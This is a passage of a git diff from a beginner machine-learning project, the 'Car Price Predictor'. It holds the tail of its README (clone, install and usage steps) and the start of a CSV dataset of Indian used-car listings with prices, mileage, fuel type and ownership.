the repository: + +git clone https://github.com/subhradip-bo/Python-project-Scripts.git + +2. Navigate to the project directory: + +cd Python-project-Scripts/MachineLearning\ Projects/Car\ Price\ Predictor/ + +3. Install the required dependencies: + +pip install -r requirements.txt + +## Usage + +Once you have installed the necessary dependencies, you can use the project as follows: + +1. Make sure you are in the project directory: + +cd Python-project-Scripts/MachineLearning\ Projects/Car\ Price\ Predictor/ + +2. Run the main Python script: + +python car_price_predictor.py + +3. The program will prompt you to enter the details of the car for which you want to predict the price. Provide the required information and press Enter. + +4. The program will display the predicted price of the car based on the trained machine learning model. + +## Model Training + +The machine learning model used in this project is trained using the `car_data.csv` dataset. The model training code can be found in the `car_price_predictor.py` script. It follows the standard steps of a typical machine learning workflow, including data preprocessing, feature engineering, model selection, and evaluation. + +## Results + +The accuracy and performance of the trained model may vary depending on the dataset and the specific machine learning algorithms used. It is important to note that the predictions provided by this model are estimates and should be used as a reference rather than absolute values. + +## Contributing + +Contributions to this project are welcome. If you find any issues or want to enhance the functionality, feel free to open a pull request with your changes. Please ensure to follow the project's code of conduct. + +## License + +The code in this project is available under the [MIT License](LICENSE). Feel free to use and modify it as per your needs. diff --git a/MachineLearning Projects/Car Price Predictor/car_dataset_2.csv b/MachineLearning Projects/Car Price Predictor/car_dataset_2.csv new file mode 100644 index 00000000..4413db37 --- /dev/null +++ b/MachineLearning Projects/Car Price Predictor/car_dataset_2.csv @@ -0,0 +1,4341 @@ +name,year,selling_price,km_driven,fuel,seller_type,transmission,owner +Maruti 800 AC,2007,60000,70000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,135000,50000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,600000,100000,Diesel,Individual,Manual,First Owner +Datsun RediGO T Option,2017,250000,46000,Petrol,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2014,450000,141000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX BSIII,2007,140000,125000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa S,2016,550000,25000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Petrol,2014,240000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 VTVT S,2015,850000,25000,Petrol,Individual,Manual,First Owner +Maruti Celerio Green VXI,2017,365000,78000,CNG,Individual,Manual,First Owner +Chevrolet Sail 1.2 Base,2015,260000,35000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Petrol,2014,250000,100000,Petrol,Individual,Manual,First Owner +Toyota Corolla Altis 1.8 VL CVT,2018,1650000,25000,Petrol,Dealer,Automatic,First Owner +Maruti 800 AC,2007,60000,70000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2007,135000,50000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,600000,100000,Diesel,Individual,Manual,First Owner +Datsun RediGO T Option,2017,250000,46000,Petrol,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2014,450000,141000,Diesel,Individual,Manual,Second Owner +Maruti Alto LX BSIII,2007,140000,125000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 Kappa S,2016,550000,25000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Petrol,2014,240000,60000,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.6 VTVT S,2015,850000,25000,Petrol,Individual,Manual,First Owner +Maruti Celerio Green VXI,2017,365000,78000,CNG,Individual,Manual,First Owner +Chevrolet Sail 1.2 Base,2015,260000,35000,Petrol,Individual,Manual,First Owner +Tata Indigo Grand Petrol,2014,250000,100000,Petrol,Individual,Manual,First Owner +Toyota Corolla Altis 1.8 VL CVT,2018,1650000,25000,Petrol,Dealer,Automatic,First Owner +Maruti Ciaz VXi Plus,2015,585000,24000,Petrol,Dealer,Manual,First Owner +Hyundai Venue SX Opt Diesel,2019,1195000,5000,Diesel,Dealer,Manual,First Owner +Chevrolet Enjoy TCDi LTZ 7 Seater,2013,390000,33000,Diesel,Individual,Manual,Second Owner +Jaguar XF 2.2 Litre Luxury,2014,1964999,28000,Diesel,Dealer,Automatic,First Owner +Mercedes-Benz New C-Class 220 CDI AT,2013,1425000,59000,Diesel,Dealer,Automatic,First Owner +Maruti Vitara Brezza ZDi Plus AMT,2018,975000,4500,Diesel,Dealer,Automatic,First Owner +Audi Q5 2.0 TDI,2011,1190000,175900,Diesel,Dealer,Automatic,First Owner +Honda City V MT,2018,930000,14500,Petrol,Dealer,Manual,First Owner +Tata Tigor 1.2 Revotron XT,2018,525000,15000,Petrol,Individual,Manual,First Owner +Audi A6 2.0 TDI Design Edition,2013,1735000,50000,Diesel,Dealer,Automatic,First Owner +Mercedes-Benz New C-Class C 220 CDI Avantgarde,2012,1375000,33800,Diesel,Dealer,Automatic,Second Owner +Skoda Superb Ambition 2.0 TDI CR AT,2011,450000,130400,Diesel,Dealer,Automatic,Second Owner +Toyota Corolla Altis G AT,2016,900000,50000,Petrol,Individual,Automatic,First Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2015,1300000,80000,Diesel,Individual,Manual,First Owner +Jeep Compass 1.4 Sport Plus BSIV,2019,1400000,10000,Petrol,Individual,Manual,First Owner +Mercedes-Benz E-Class E 200 CGI Elegance,2010,850000,119000,Petrol,Dealer,Automatic,First Owner +Hyundai i10 Magna 1.1L,2014,229999,60000,Petrol,Individual,Manual,Fourth & Above Owner +BMW 3 Series 320d Sport Line,2013,1550000,75800,Diesel,Dealer,Automatic,Second Owner +Audi Q7 35 TDI Quattro Premium,2009,1250000,78000,Diesel,Dealer,Automatic,Third Owner +Hyundai Elantra CRDi S,2012,625000,40000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S10,2014,1050000,50000,Diesel,Individual,Manual,First Owner +Honda City i DTEC V,2014,560000,74000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV with ABS,2014,290000,64000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2012,275000,60000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio LX,2009,411000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing GLS,2009,150000,79000,Petrol,Individual,Manual,Third Owner +Hyundai Grand i10 1.2 Kappa Asta,2019,500000,15000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2006,100000,80000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI Optional,2017,725000,18500,Diesel,Dealer,Manual,First Owner +Maruti Eeco 5 Seater AC BSIV,2018,401000,10200,Petrol,Dealer,Manual,First Owner +Hyundai i20 Sportz 1.4 CRDi,2018,750000,29000,Diesel,Dealer,Manual,First Owner +Maruti Omni Maruti Omni MPI STD BSIII 5-STR W/ IMMOBILISER,2018,310000,28000,Petrol,Dealer,Manual,First Owner +Maruti Swift ZDi BSIV,2016,665000,46000,Diesel,Dealer,Manual,First Owner +Hyundai i20 2015-2017 Sportz Option 1.4 CRDi,2014,465000,70000,Diesel,Dealer,Manual,First Owner +Maruti Alto LXi,2012,160000,60000,Petrol,Individual,Manual,Second Owner +Mahindra Jeep CL 500 MDI,1996,250000,35000,Diesel,Individual,Manual,Second Owner +Honda City i DTEC VX,2014,675000,90000,Diesel,Dealer,Manual,First Owner +Maruti Wagon R VXI BS IV,2013,300000,80000,Petrol,Dealer,Manual,First Owner +Tata Indica DLS,2005,70000,80000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2014,240000,73300,Petrol,Dealer,Manual,Second Owner +Toyota Etios GD,2014,525000,92000,Diesel,Dealer,Manual,First Owner +Maruti Alto LXi,2009,151000,66764,Petrol,Dealer,Manual,Second Owner +Maruti Alto LXi,2009,140000,100000,Petrol,Individual,Manual,First Owner +Chevrolet Tavera Neo LS B3 - 7(C) seats BSIII,2010,280000,350000,Diesel,Individual,Manual,Second Owner +Toyota Corolla Altis Diesel D4DG,2011,350000,230000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio 1.99 S6 Plus,2017,570000,60000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,300000,31000,Petrol,Individual,Manual,First Owner +Tata Indigo Classic Dicor,2007,100000,39000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 V Diesel 8-seater,2009,500000,120000,Diesel,Individual,Manual,Third Owner +Tata Indica Vista Quadrajet LS,2014,125000,166000,Diesel,Individual,Manual,Fourth & Above Owner +Maruti Swift 1.3 VXi,2006,130000,110000,Petrol,Individual,Manual,Third Owner +Ford EcoSport 1.5 Diesel Titanium BSIV,2017,925000,35000,Diesel,Individual,Manual,First Owner +Maruti Ciaz 1.3 Delta,2018,750000,60000,Diesel,Individual,Manual,First Owner +Honda Civic 1.8 V AT,2007,200000,54000,Petrol,Individual,Automatic,Second Owner +Hyundai i10 Sportz 1.2,2010,248000,63000,Petrol,Individual,Manual,Second Owner +Skoda Rapid 1.5 TDI Elegance,2014,450000,120000,Diesel,Individual,Manual,Second Owner +Hyundai Getz GLS,2005,80000,120000,Petrol,Individual,Manual,Third Owner +Nissan Terrano XL,2014,650000,76000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 CRDi Sportz,2015,450000,80000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Diesel Era,2019,650000,25000,Diesel,Individual,Manual,First Owner +Honda Amaze S i-VTEC,2016,495000,11958,Petrol,Dealer,Manual,First Owner +Honda Brio S MT,2015,371000,20000,Petrol,Dealer,Manual,First Owner +Hyundai Creta 1.6 SX Option,2017,1025000,9000,Petrol,Dealer,Manual,First Owner +Mercedes-Benz S-Class S 350d Connoisseurs Edition,2017,8150000,6500,Diesel,Dealer,Automatic,First Owner +Mahindra XUV500 W8 2WD,2015,750000,70000,Diesel,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL Optional,2013,600000,120000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XO,2007,80000,58000,Petrol,Dealer,Manual,Second Owner +Mahindra Bolero 2011-2019 SLE,2013,325000,62200,Diesel,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2014,1470000,34000,Diesel,Dealer,Automatic,Second Owner +Fiat Avventura MULTIJET Emotion,2015,350000,53000,Diesel,Individual,Manual,Second Owner +Audi A8 4.2 TDI,2013,2800000,49000,Diesel,Dealer,Automatic,First Owner +Datsun RediGO 1.0 S,2017,210000,15000,Petrol,Dealer,Manual,Second Owner +Volkswagen Jetta 1.4 TSI Comfortline,2013,450000,50000,Petrol,Individual,Manual,First Owner +Audi A4 2.0 TDI 177 Bhp Premium Plus,2013,1150000,53000,Diesel,Dealer,Automatic,First Owner +Honda Civic 1.8 V AT,2009,210000,63500,Petrol,Dealer,Automatic,First Owner +Mercedes-Benz E-Class Exclusive E 200 BSIV,2018,4500000,9800,Petrol,Dealer,Automatic,First Owner +BMW X1 sDrive 20d xLine,2017,2750000,13000,Diesel,Individual,Automatic,First Owner +Volvo V40 D3 R Design,2018,1975000,21000,Diesel,Dealer,Automatic,First Owner +Maruti SX4 Zxi BSIII,2008,175000,29173,Petrol,Dealer,Manual,First Owner +BMW 7 Series 730Ld,2012,2500000,48000,Diesel,Dealer,Automatic,First Owner +Mahindra Bolero Power Plus SLX,2017,628000,120000,Diesel,Individual,Manual,First Owner +Hyundai Sonata CRDi M/T,2010,600000,100000,Diesel,Individual,Manual,First Owner +Nissan Micra Active XV Petrol,2017,399000,30000,Petrol,Individual,Manual,First Owner +Mahindra Xylo D4,2018,750000,87000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Sportz Plus Dual Tone BSIV,2019,750000,15000,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2017,315000,16000,Petrol,Individual,Manual,First Owner +Mahindra Xylo E4 BS III,2012,600000,60000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2010,100000,60000,Petrol,Individual,Manual,Fourth & Above Owner +Maruti SX4 ZXI MT BSIV,2011,250000,110000,Petrol,Individual,Manual,Third Owner +Renault KWID RXT,2017,350000,25000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.4 CRDi S,2016,780000,60000,Diesel,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,434000,79350,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 VTVT AT S Option,2016,690000,80000,Petrol,Individual,Automatic,First Owner +Mahindra Scorpio LX BSIV,2014,555000,90000,Diesel,Individual,Manual,Second Owner +Maruti SX4 Vxi BSIII,2007,120000,90000,Petrol,Individual,Manual,Second Owner +Maruti Ertiga VDI,2014,500000,120000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat Diesel,2013,165000,60000,Diesel,Individual,Manual,Second Owner +Maruti Zen LX,2004,95000,50000,Petrol,Individual,Manual,First Owner +Maruti Baleno Delta 1.2,2018,550000,20000,Petrol,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2007,100000,110000,Diesel,Individual,Manual,Fourth & Above Owner +Tata Nano Lx BSIV,2012,100000,50000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 8 Seater,2012,500000,100000,Diesel,Individual,Manual,First Owner +Maruti Ertiga SHVS VDI,2016,800000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Creta 1.6 CRDi SX,2016,840000,70000,Diesel,Individual,Manual,Second Owner +Honda Amaze S i-Vtech,2016,490000,50000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua 1.4 TDI,2010,125000,81000,Diesel,Individual,Manual,Second Owner +Chevrolet Tavera Neo 2 LS B4 7 Str BSIII,2012,400000,120000,Diesel,Individual,Manual,Third Owner +Chevrolet Cruze LTZ,2015,1000000,3600,Diesel,Dealer,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Titanium Plus,2015,530000,14272,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 Diesel Titanium Plus BSIV,2017,840000,49213,Diesel,Dealer,Manual,First Owner +Hyundai i10 Sportz 1.1L,2015,229999,40000,Petrol,Individual,Manual,First Owner +Maruti 800 Std,1998,40000,40000,Petrol,Individual,Manual,Fourth & Above Owner +Chevrolet Spark 1.0 LS,2012,130000,80000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2015,200000,70000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Aqua TDI BSIII,2011,120000,70000,Diesel,Individual,Manual,First Owner +Hyundai Santro LP zipPlus,2003,75000,57000,Petrol,Individual,Manual,First Owner +Tata Bolt Quadrajet XE,2016,250000,120000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSIII,2005,100000,30000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2013,280000,3240,Petrol,Individual,Manual,Second Owner +Hyundai i20 Magna 1.2,2015,540000,5000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.2 Asta,2018,700000,10000,Petrol,Individual,Manual,First Owner +Maruti Ciaz VDi Plus,2015,525000,100000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta 1.4 CRDi,2016,430000,80000,Diesel,Individual,Manual,First Owner +Hyundai Santro LE,2002,65000,70000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza VDi,2018,800000,35000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XL eRLX Euro III,2007,75000,114000,Petrol,Individual,Manual,Second Owner +Hyundai Getz 1.3 GLS,2008,210000,53772,Petrol,Individual,Manual,First Owner +Mahindra Quanto C8,2012,195000,140000,Diesel,Individual,Manual,Second Owner +Chevrolet Tavera Neo 3 LS 7 C BSIII,2015,400000,120000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2012,170000,60000,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2016,225000,25000,Petrol,Individual,Manual,First Owner +Maruti Wagon R DUO LPG,2014,210000,90000,LPG,Individual,Manual,First Owner +Maruti Wagon R LXI,2020,240000,120000,Petrol,Individual,Manual,First Owner +Chevrolet Enjoy 1.3 TCDi LS 8,2015,300000,175000,Diesel,Individual,Manual,First Owner +Chevrolet Spark 1.0 LS,2011,99000,100000,Petrol,Individual,Manual,Third Owner +Honda City i VTEC SV,2014,620000,36000,Petrol,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2013,500000,30000,Diesel,Individual,Manual,First Owner +Jaguar XJ 5.0 L V8 Supercharged,2010,2550000,40000,Petrol,Individual,Automatic,Second Owner +Honda Brio E MT,2013,260000,70000,Petrol,Individual,Manual,Second Owner +Maruti Swift VVT ZXI,2017,550000,60000,Petrol,Individual,Manual,First Owner +Tata Indigo CR4,2011,150000,155500,Diesel,Individual,Manual,First Owner +Hyundai i10 Asta AT,2011,350000,50000,Petrol,Individual,Automatic,Second Owner +Chevrolet Beat LT,2016,320000,40000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,400000,100000,Diesel,Individual,Manual,Third Owner +Maruti Alto LXi,2012,175000,80000,Petrol,Individual,Manual,Third Owner +Chevrolet Beat LT,2011,120000,90000,Petrol,Individual,Manual,Second Owner +Renault Duster 110PS Diesel RxZ,2013,320000,90000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing XG,2006,70000,110000,Petrol,Individual,Manual,Third Owner +Maruti Swift Dzire ZXI Plus,2019,810000,15000,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2007,95000,100000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 LXI CNG,2020,282000,40000,CNG,Individual,Manual,First Owner +Maruti 800 Std BSII,2004,80000,60000,Petrol,Individual,Manual,Second Owner +Tata Nano LX SE,2013,72000,25000,Petrol,Individual,Manual,First Owner +Hyundai i20 Magna 1.2,2016,600000,25000,Petrol,Individual,Manual,First Owner +Skoda Rapid 1.6 MPI Ambition With Alloy Wheel,2015,640000,23000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2018,380000,22155,Petrol,Individual,Manual,First Owner +Maruti Ciaz 1.4 Delta,2018,650000,70000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2009,150000,60000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Asta,2009,280000,110000,Petrol,Individual,Manual,Second Owner +Tata Nexon 1.2 Revotron XM,2018,430000,30000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus SLX,2019,800000,15000,Diesel,Individual,Manual,First Owner +Maruti Zen D,2003,75000,100000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento Celeste 1.5 TDI Highline AT,2016,650000,70000,Diesel,Individual,Automatic,First Owner +Maruti Eeco 7 Seater Standard BSIV,2017,390000,24000,Petrol,Individual,Manual,First Owner +Honda City 1.5 EXI,2005,100000,120000,Petrol,Individual,Manual,Second Owner +Mercedes-Benz New C-Class 220 CDI AT,2013,1500000,35000,Diesel,Individual,Automatic,First Owner +Maruti SX4 Zxi with Leather BSIII,2007,175000,78380,Petrol,Individual,Manual,First Owner +Renault Duster 110PS Diesel RxZ,2012,434999,110000,Diesel,Individual,Manual,Second Owner +Ford Figo Diesel Titanium,2010,170000,90000,Diesel,Individual,Manual,Third Owner +Ford Figo Diesel Titanium,2011,190000,90000,Diesel,Individual,Manual,Third Owner +Maruti Swift Dzire VDi,2009,250000,150000,Diesel,Individual,Manual,Third Owner +Mahindra Xylo E4,2009,229999,230000,Diesel,Individual,Manual,Third Owner +Maruti Esteem Vxi - BSIII,2006,140000,70000,Petrol,Individual,Manual,Third Owner +Maruti Swift VDI BSIV,2017,600000,80362,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Sportz,2012,280000,110000,Petrol,Individual,Manual,Third Owner +Chevrolet Beat Diesel LT,2012,150000,60000,Diesel,Individual,Manual,First Owner +Chevrolet Cruze LTZ AT,2015,650000,50000,Diesel,Individual,Automatic,First Owner +Nissan Micra XL,2014,210000,40000,Petrol,Individual,Manual,Second Owner +BMW 5 Series 520d Luxury Line,2017,2900000,40000,Diesel,Individual,Automatic,First Owner +Chevrolet Enjoy 1.3 TCDi LS 8,2013,425000,20000,Diesel,Dealer,Manual,First Owner +Hyundai EON Era Plus Option,2014,265000,55000,Petrol,Dealer,Manual,First Owner +Fiat Linea T Jet Emotion,2018,890000,1136,Petrol,Dealer,Manual,First Owner +Renault Scala RxL,2013,365000,55000,Petrol,Dealer,Manual,First Owner +Ford Figo Petrol Titanium,2014,350000,43000,Petrol,Dealer,Manual,First Owner +Maruti Ciaz ZDi SHVS,2016,685000,60000,Diesel,Individual,Manual,First Owner +Skoda Rapid 1.5 TDI Ambition BSIV,2018,940000,2650,Diesel,Dealer,Manual,First Owner +Mahindra XUV500 W6 2WD,2017,1000000,40000,Diesel,Individual,Manual,First Owner +Mahindra XUV300 W8 Option,2019,1150000,15000,Petrol,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI,2016,450000,115962,Diesel,Individual,Manual,Second Owner +Nissan Terrano XE D,2015,590000,65000,Diesel,Dealer,Manual,First Owner +Maruti S-Cross Facelift,2017,800000,40000,Diesel,Individual,Manual,First Owner +Hyundai i20 Magna 1.4 CRDi (Diesel),2012,385000,58000,Diesel,Dealer,Manual,First Owner +Mercedes-Benz New C-Class C 220 CDI BE Avantgare,2013,2000000,15000,Diesel,Individual,Automatic,First Owner +Hyundai EON Era Plus,2012,235000,54000,Petrol,Dealer,Manual,First Owner +Volkswagen Ameo 1.5 TDI Highline,2017,640000,56000,Diesel,Dealer,Manual,First Owner +Maruti Alto LX,2006,52000,120000,Petrol,Individual,Manual,Third Owner +Maruti Omni LPG CARGO BSIII W IMMOBILISER,2009,80000,90000,LPG,Individual,Manual,Second Owner +Maruti Alto LX,2012,140000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Verna i (Petrol),2008,120000,90000,Petrol,Individual,Manual,Second Owner +Mahindra Renault Logan 1.5 DLS,2008,89999,213000,Diesel,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LS BSIII,2012,180000,120000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S11 BSIV,2017,1500000,20000,Diesel,Individual,Manual,First Owner +Hyundai i20 Active 1.2 SX,2017,700000,10000,Petrol,Individual,Manual,First Owner +Maruti SX4 Celebration Diesel,2012,285000,80000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 Magna,2015,390000,90000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2008,125000,80000,Petrol,Individual,Manual,First Owner +Maruti SX4 Zxi with Leather BSIII,2008,225000,60000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Era,2011,175000,139000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 V Diesel 7-seater,2011,1075000,160000,Diesel,Individual,Manual,Second Owner +Honda Mobilio V i DTEC,2014,300000,150000,Diesel,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 7 Seater BS IV,2010,700000,163000,Diesel,Individual,Manual,Fourth & Above Owner +Tata Indica V2 2001-2011 DLS BSIII,2009,90000,120000,Diesel,Dealer,Manual,First Owner +Tata Indica Vista TDI LS,2011,120000,120000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat Diesel LS,2012,220000,100000,Diesel,Individual,Manual,Second Owner +Tata Zest Quadrajet 1.3 75PS XE,2015,300000,140000,Diesel,Dealer,Manual,First Owner +Skoda Fabia 1.2L Diesel Ambiente,2010,180000,87000,Diesel,Dealer,Manual,Second Owner +Maruti 800 Std,2013,170000,70000,Petrol,Individual,Manual,First Owner +Ford Figo Petrol Titanium,2015,300000,50000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 VX (Diesel) 8 Seater,2014,1050000,70000,Diesel,Individual,Manual,First Owner +Honda Mobilio V i DTEC,2014,300000,150000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Asta,2018,465000,25000,Diesel,Individual,Manual,First Owner +Chevrolet Beat Diesel LT,2011,130000,80000,Diesel,Individual,Manual,Second Owner +Datsun GO Plus T Option Petrol,2018,434999,10000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2018,500000,32000,Petrol,Individual,Manual,First Owner +Maruti Omni MPI STD BSIV,2018,200000,10000,Petrol,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2017,625000,52000,Petrol,Dealer,Manual,First Owner +Ford Fiesta Classic 1.4 SXI Duratorq,2006,110000,120000,Diesel,Individual,Manual,Third Owner +Hyundai Elite i20 Asta Option BSIV,2019,800000,11240,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Magna,2017,490000,66000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI,2017,880000,64000,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GL Plus,2013,290000,49000,Petrol,Individual,Manual,First Owner +Tata Sumo GX TC 7 Str BSIII,2006,115999,100000,Diesel,Individual,Manual,Second Owner +Renault KWID RXT,2018,360000,26500,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2002,65000,100000,Petrol,Individual,Manual,Second Owner +Maruti Vitara Brezza LDi Option,2017,685000,72000,Diesel,Dealer,Manual,First Owner +Honda Jazz S,2009,300000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Sportz,2017,680000,44000,Diesel,Dealer,Manual,First Owner +Maruti Ertiga SHVS ZDI Plus,2017,1000000,60000,Diesel,Individual,Manual,Second Owner +Tata Sumo SE Plus BSIII,2002,100000,120000,Diesel,Individual,Manual,First Owner +Mahindra Xylo E4,2010,160000,130000,Diesel,Individual,Manual,First Owner +Maruti Swift ZDi BSIV,2017,450000,70000,Diesel,Individual,Manual,First Owner +Maruti Ertiga VXI,2014,600000,20000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 Magna ABS,2009,180000,60000,Diesel,Individual,Manual,Second Owner +Maruti Alto LXi,2007,100000,195000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2010,120000,90000,Petrol,Individual,Manual,Second Owner +Hyundai Getz GL,2006,130000,80000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R LX BS IV,2011,160000,155000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus SLX,2019,860000,35000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Spotz,2018,650000,20000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2010,100000,80000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 VXI,2017,282000,20000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta (o),2009,300000,50000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta,2010,270000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX CRDi (O),2013,550000,29000,Diesel,Individual,Manual,First Owner +Mahindra Xylo D2 BSIV,2013,450000,120000,Diesel,Individual,Manual,First Owner +Mahindra Bolero SLX 2WD BSIII,2011,430000,70000,Diesel,Individual,Manual,Second Owner +Maruti Ertiga VXI ABS,2013,350000,40000,Petrol,Individual,Manual,First Owner +Honda Brio 1.2 E MT,2017,350000,20000,Petrol,Individual,Manual,First Owner +Toyota Etios Liva G,2013,229999,50000,Petrol,Individual,Manual,Second Owner +Maruti Alto 800 LXI,2013,110000,50000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire 1.2 Vxi BSIV,2012,395000,49000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio VLS AT 2.2 mHAWK,2011,650000,70000,Diesel,Individual,Automatic,Second Owner +Mahindra Bolero SLX,2011,350000,90000,Diesel,Individual,Manual,Second Owner +Mahindra XUV500 W11 Option AWD,2020,1400000,25000,Diesel,Dealer,Manual,First Owner +Tata Tiago 1.2 Revotron XZ,2018,360000,4000,Petrol,Individual,Manual,First Owner +Mahindra Marazzo M8 8Str,2018,1300000,10000,Diesel,Individual,Manual,First Owner +Renault Duster 110PS Diesel RxL,2015,800000,15000,Diesel,Individual,Manual,First Owner +Hyundai EON Magna Plus,2018,229999,30000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI,2014,315000,41000,Petrol,Dealer,Manual,First Owner +Chevrolet Spark 1.0 LT,2012,125000,28000,Petrol,Individual,Manual,First Owner +Maruti Baleno Alpha,2019,700000,16000,Petrol,Individual,Manual,First Owner +Hyundai EON 1.0 Kappa Magna Plus,2015,160000,70000,Petrol,Individual,Manual,First Owner +Ford Figo Aspire 1.2 Ti-VCT Trend,2017,530000,10832,Petrol,Dealer,Manual,First Owner +Ford Figo Aspire Facelift,2018,624000,14681,Diesel,Dealer,Manual,First Owner +Hyundai i10 Era,2009,250000,50000,Petrol,Individual,Manual,First Owner +Mahindra Bolero SLX,2016,585000,51000,Diesel,Dealer,Manual,First Owner +Hyundai Verna 1.4 VTVT,2015,500000,25000,Petrol,Individual,Manual,First Owner +Chevrolet Sail 1.2 LT ABS,2014,350000,30000,Petrol,Individual,Manual,First Owner +Honda City i-DTEC SV,2014,495000,80000,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,500000,50000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus Plus AC BSIV PS,2015,430000,200000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz Option,2013,345000,44000,Petrol,Dealer,Manual,First Owner +Maruti Baleno Sigma 1.2,2015,500000,10000,Petrol,Individual,Manual,First Owner +Tata Tiago 1.2 Revotron XZ,2019,425000,19600,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI,2005,80000,40000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LS,2011,106000,50000,Diesel,Individual,Manual,First Owner +Maruti A-Star Vxi,2009,180000,46730,Petrol,Individual,Manual,First Owner +Datsun GO A,2015,250000,40000,Petrol,Individual,Manual,Second Owner +Skoda Yeti Ambition 4WD,2011,350000,80000,Diesel,Individual,Manual,First Owner +Maruti Zen LXi 